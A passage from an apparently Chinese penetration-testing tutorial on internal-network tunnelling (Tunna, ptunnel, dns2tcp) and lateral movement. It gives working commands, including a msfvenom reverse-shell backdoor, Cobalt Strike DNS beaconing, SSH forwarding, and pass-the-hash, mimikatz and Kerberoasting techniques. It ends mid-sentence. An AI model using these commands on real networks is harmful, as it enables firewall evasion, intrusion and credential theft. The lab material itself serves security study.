--no-socks,-n   不用SOCKS代理

--rport=REMOTE_PORT,-r REMOTE_PORT   连接webshell服务的远程端口

--addr=REMOTE_IP,-a REMOTE_IP    远程webshell连接地址(默认为 127.0.0.1)

上游代理选项

通过本地代理隧道进行连接

--up-proxy=UPPROXY,-x  上游代理服务器网站(http://proxyserver.com:3128)

--auth,-A  上游代理需要进行认证

高级选项

--ping-interval=PING_DELAY, -q PING_DELAY    webshprx 的ping线程间隔(默认= 0.5)

--start-ping, -s   首先进行ping数据发送(例如一些服务,比如SSH)

--cookie, -C       请求cookies

--authentication, -t     基础身份验证

Tunna代理并不是非常稳定,经常出现掉线情况,尤其是使用Tunna代理远程连接的流量时,经常掉线。但是使用Tunna访问内网web服务还算稳定。

项目地址:https://github.com/SECFORCE/Tunna.git

非常遗憾的是,Tunna对PHP的支持并不是太友好。

场景应用

A与B互通,B与C互通,A与C不能通信,现在A已经拿下B的权限,通过在B设置代理再访问C的3389端口。

在B的网站上传conn.aspx,目标需要支持脚本运行

在A执行

python2 proxy.py -u http://192.168.0.130/conn.aspx -l 1234 -a 10.10.10.154 -r 3389 -s -v

使用remmina等其他远程工具连接本地1234端口
rdesktop会有证书问题,无法进行远程连接

利用ICMP隧道技术进行ICMP封装穿透防火墙

ptunnel

​ 在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截。如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受限的网络访问。用户需要在受限制网络之外,预先启动该工具建立代理服务器。再以客户端模式运行该工具,就可以建立ICMP隧道。为了避免该隧道被滥用,用户还可以为隧道设置使用密码。

​ 使用icmptunnel可以将IP流量封装进ICMP的ping数据包中,皆在利用ping穿透防火墙的检测,因为通常防火墙是不会屏蔽ping数据包的。

​ 请求端的Ping工具会在 ICMP数据包后面附加上一段随机的数据作为payload,而响应端则会拷贝这段payload到ICMP响应数据包中返还给请求端,用于识别和匹配Ping请求

​ 在使用ptunnel工具进行内网穿透时,客户端会将IP帧封装在ICMP请求数据包中发送给服务器,而服务端则会使用相匹配的ICMP响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的ICMP数据包。

参数

-p  代理服务器地址
-lp 本地端口
-da 目标内网IP
-dp 目标端口

回显服务端命令列表
标注  net available on windows标识是需要在windows下使用,本次实验不涉及
-c  网卡编号
-v  显示详细过程,值可以-1-5,-1为不显示,5为最详细】
-u  dp【通过dns协议传输,端口为udp53】
-x  进入此隧道密码,如果服务器加该参数,客户端也需要加同样参数和值】
-f  指定一个日志文件

应用场景


A与B是能互通的,B与C能互通,A与C之间存在防火墙拦截禁用了TCP协议,但是A能ping通C由此判断防火墙没有对ICMP协议进行封禁,由此可以使用ICMP隧道技术。

需要用到的工具就是ptunnel,kali中已默认安装
在C中设置
启动一个http服务器

python3 -m http.server 80

防火墙封禁A的tcp访问

iptables -A INPUT -p tcp -s 192.168.0.143 -j DROP

在B中运行

在代理主机B中启动服务端,设置密码

ptunnel -x 1234

在A中运行
客户端运行以下命令,连接服务器并且侦听本地8080端口

ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234

在A上访问http://localhost:8080 即可访问C的目标80端口

DNS隧道穿透防火墙

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling 也经常在僵尸网络和APT攻击中扮演者重要的角色。

dns2TCP

dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,使用C语言开发。使用的是经典的C/S 模式

兼容说明

  • 服务端运行在Linux服务器上,Windows不支持服务端,需编译,对应文件:dns2tcpd。
  • 客户端可运行在Linux和Windows上,对应文件:dns2tcpc。
  • kali系统内置dns2tcp

安装下载

#ubuntu
sudo apt-get install dns2tcp

#centos
wget https://github.com/alex-sector/dns2tcp/archive/refs/tags/v0.5.2.tar.gz
tar zxf v0.5.2.tar.gz
cd dns2tcp-0.5.2
./configure
make
make install

#windwos客户端安装
1、网络下载dns2tcp客户端程序dns2tcpc

2、使用Dev C++的mingw64进行编译
Dev C++地址:https://sourceforge.net/projects/dev-cpp

git clone https://github.com/alex-sector/dns2tcp.git
cd dns2tcp
./configure
cd client
mingw32-make

dns2tcpd

服务端参数

-F  强制在后台运行,默认在后台
-i  IP address,监听的IP,默认0.0.0.0
-f  配置文件
    指定使用的配置文件路径
-d  debug level
    指定调试级别,输出相关级别日志,默认为1,2,3

dns2tcpc

客户端参数

Usage : dns2tcpc [options] [server]
        -c              : 启用压缩
        -z <domain>     : 要使用的域名(必选)
        -d <1|2|3>      : 调试级别(1, 2 or 3)
        -r <resource>   : 访问的目标资源
        -k <key>        : pre-shared key
        -f <filename>   : 配置文件路径
        -l <port|->     : 要绑定的本地端口,'-'用于stdin(如果在没有程序的情况下定义资源,则为必填项)
        -e <program>    : 要执行的程序
        -t <delay>      : 最大DNS服务器的应答延迟(默认为3)
        -T <TXT|KEY>    : DNS请求类型(默认为TXT)

配置文件

为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。

listen=0.0.0.0
port=53
user=nobody
chroot=/tmp
domain=<domain.com> 
resources=ssh:127.0.0.1:22

应用场景

C能访问B,但是C只允许DNS出网,防火墙一般不会对53端口进行封锁,允许开发53端口所以可以利用DNS隧道

需要购买一台VPS,并且一定要把udp53端口的出战和入站都要开放

设置域名信息

添加A记录并指向VPS的IP

再添加一条NS记录指向到我们添加的A记录

VPS安装配置dns2tcp

在/etc目录建立一个明文dns2tcpd.conf的文件,输入以下配置

listen = 0.0.0.0    
port = 53
user = root     # 设置用户
key  = sing1e   # 设置密码
chroot = /tmp
domain = dns2tcp.[你的域名]
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:127.0.0.1:8082

resource是dns2tcp供客户端使用的资源。作用是:客户端在本地监听一个端口,并指定使用的资源,当有数据往端口传送后,dns2tcp客户端将数据用DNS协议传动到服务器,然后服务器将数据转发到对应的资源配置的端口中。

启动服务端

dns2tcpd -f /etc/dns2tcpd.conf -F -d 3

#关闭服务端
killall dns2tcpd

在C中下载客户端并执行

dns2tcpc -r ssh -z domain IP -l 8888 -d 3 -k sing1e

-r 后接服务名称<ssh/socks/http中的任意一个>
-z 后接你设置的NS记录,和你的VPS公网ip  <公网ip> 可不填,不写将使用中继模式,否则使用直连模式
   中继模式像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
-l 后接本地端口,随便一个常用端口就行,8888”指明了隧道的这头监听的端口
-d 开启 Debug ,“-d 2”指明了输出调试信息,级别为2,作用和服务器端相同
-k 密码 可以省略

测试

将端口设置为客户端本地监听的8888端口实现远程登录VPS服务端


若是前面各步均正确无误,最后出现了错误:

No response from DNS xx.xx.xx.xx

​ 那么可能的原因是中途某个DNS服务器丢弃了TXT类型的奇怪DNS查询请求。如何解决这一问题呢?其实只要我们能绕过中途那台DNS服务器就好了。但问题是我们不知道问题出在哪里,中途有哪些DNS服务器我们也是不知道的。所以可用以下方法绕过所有DNS服务器

1、把客户端的DNS直接设置为“xxx.xx.xx.xxx”(公网IP)

2、#也可以在dns2tcpc的参数中指明要使用的DNS服务器
dns2tcpc -r ssh -z dns2tcp.werner.wiki dns.werner.wiki -l 8888

第二个解决办法我们实际上完全抛开了现有的域名系统,也就没有了注册域名设置解析的必要。但若防火墙规则较为严格,只允许目的IP是特定DNS服务器的数据包通过,此方法便行不通了。

总结

通过上述域内提权以及隧道技术可以很清楚的知道攻击内网对于上述技术有多重要了吧,而且还涉及免杀以及流量加密等还有边界安全,做了严格的网络隔离那就更加困难了,下面是对于内网一些简单技术的总结概括,其实没啥看的,大佬可以直接跳过。

内网

防火墙做了限制策略:

防火墙一般会做入站规则限制,那么在这种情况下可以使用反向shell,直接让内网主机主动把权限给出来

如果没有做入站规则限制,那么我们可以做正向shell,直接主动连接内网主机

如果入站和出战都做了限制那么就需要使用隧道进行上线

还可以删除规则,关闭防火墙,替换白名单,替换白名单为木马文件

通讯和上线的概念

通讯是你能够上网但是你无法做很多事情

上线是你已经取得主机权限需要把权限拿出来(能够上线那就已经解决了通讯问题)

SMB隧道

判断:是否开放445通讯

搭建流程:

1.扫描445端口是否开放,如果开放直接使用psexec64

2.输入管理员密码(前期信息收集)

3.选择bind_pipe监听器并选择与开启SMB主机能够通信的会话

4.运行等待上线即可

ICMP隧道

判断:ping命令

项目工具:spp,icmpsh,pingtunnel

搭建流程:TCP协议封装成ICMP协议数据,数据发送出去的时候是icmp,接收数据时把icmp还原成了TCP

1.msf生成本地后门并开启监听

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > xd.exe

监听 use exploit/multi/hander

2.生成后门服务器开启隧道

./pingtunnel -type server

3.目标机开启隧道

pingtunnel.exe -type client -l 127.0.0.1:3333 -t 192.168.46.66 -s 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1

CS上线:创建两个监听器,生成后门选本地监听器

DNS隧道

判断:nslookup dig

区域传输:tcp

域名解析:udp

隧道具体搭建流程:

购买域名(ytming.cn)

指定两个ns1和ns2解析(ns1.ytming.cn,ns2.ytming.cn)

把ns1和ns2指向ip解析的域名(cs.ytming.cn)

cs.ytming.cn指向ip地址

CS上使用DNS协议开启监听并选择ns1和ns2来解析至cs.ytming.cn

使用CS生成后门选择DNS监听器

把生成的后门放在目标机执行,成功后在CS命令行执行mode dns-txt即可上线

SSH隧道

作用:内网探针

条件:跳板机必须为linux并且权限必须为root

隧道搭建流程:

流量交出来(入站 反向)

跳板机:ssh -CfNg -R 1234:192.168.1.16:8080 root@47.94.236.117

上述ssh命令是将本地访问的内网主机IP1.16的8080端口流量转发至47.94.236.117的1234端口。简单说就是我本地访问127.0.0.1:1234就是访问内网的8080端口

出战 正向

跳板机:ssh -CfNg -L 1122:192.168.1.16:8080 root@192.168.1.166

上述命令是将内网的1.66 8080端口流量转发至跳板机1.16的1122端口。当我们攻击机访问跳板机1.166的1122端口时其实是访问的内网1.16的8080端口

横向移动

IPC

利用IPC把本地CS客户端生成的正向木马移动到内网目标机C盘中并使用at(schtasks)命令开启计划任务使用connect直接连接

WMI

135探测,使用用户明文密码和hash进行认证,并且不会留下日志信息

执行流程:

wmic:执行无回显

cscript:交互式,CS无法使用

wmiexec-impacket:支持所有模式

SMB

445探测,通过明文hash传递来远程执行

执行流程:权限必须很高

psexec64:交互式,windows官方自带

psexec:可在windows官方自带的基础上进行hash传递 -- 插件cs-psexec

smbexec-impacket:可明文可hash

services:内置命令,单执行

密码喷射:crackmapexec

PTH&PTT&PTK

PTH:利用lm和ntml的值进行渗透测试(ntml认证攻击)

PTK:利用的ekeys aes256进行的渗透测试(ntml认证攻击)

PTT:利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

PTH

mimikatz:hash传递攻击

impacket-smb&wmi&psexec:hash传递攻击

PTT

MS14-068:利用该漏洞进行票据传递

kekeo:高权限,需NTML

mimikatz:高权限,需要票据,域管是否登录过主机

PTK

mimikatz:安装KB补丁且禁用ntml

RDP

通过明文和NTML直接远程桌面连接

WinRM&WinRS

条件:启用RM RS服务,端口5995

Spn&Kerberos

无密码hash情况来进行密码破解

SPN:对域内安装服务进行探针

Kerberos:采用RC4加密,rubeus检测票据加密类型

请求票据,导出票据,暴力破解票据得到明文密码

Exchange

探针:端口扫描25/587/2525 SPN 脚本探测

域内用户名密码就是邮箱密码

漏洞版本进行利用

NTML-Relay

应用在获取不到明文或HASH时采用的手法

密码比对方式

msf做一个中继转发

a访问b能够上线,a访问b经过了msf,msf再去访问a,而msf相当于是az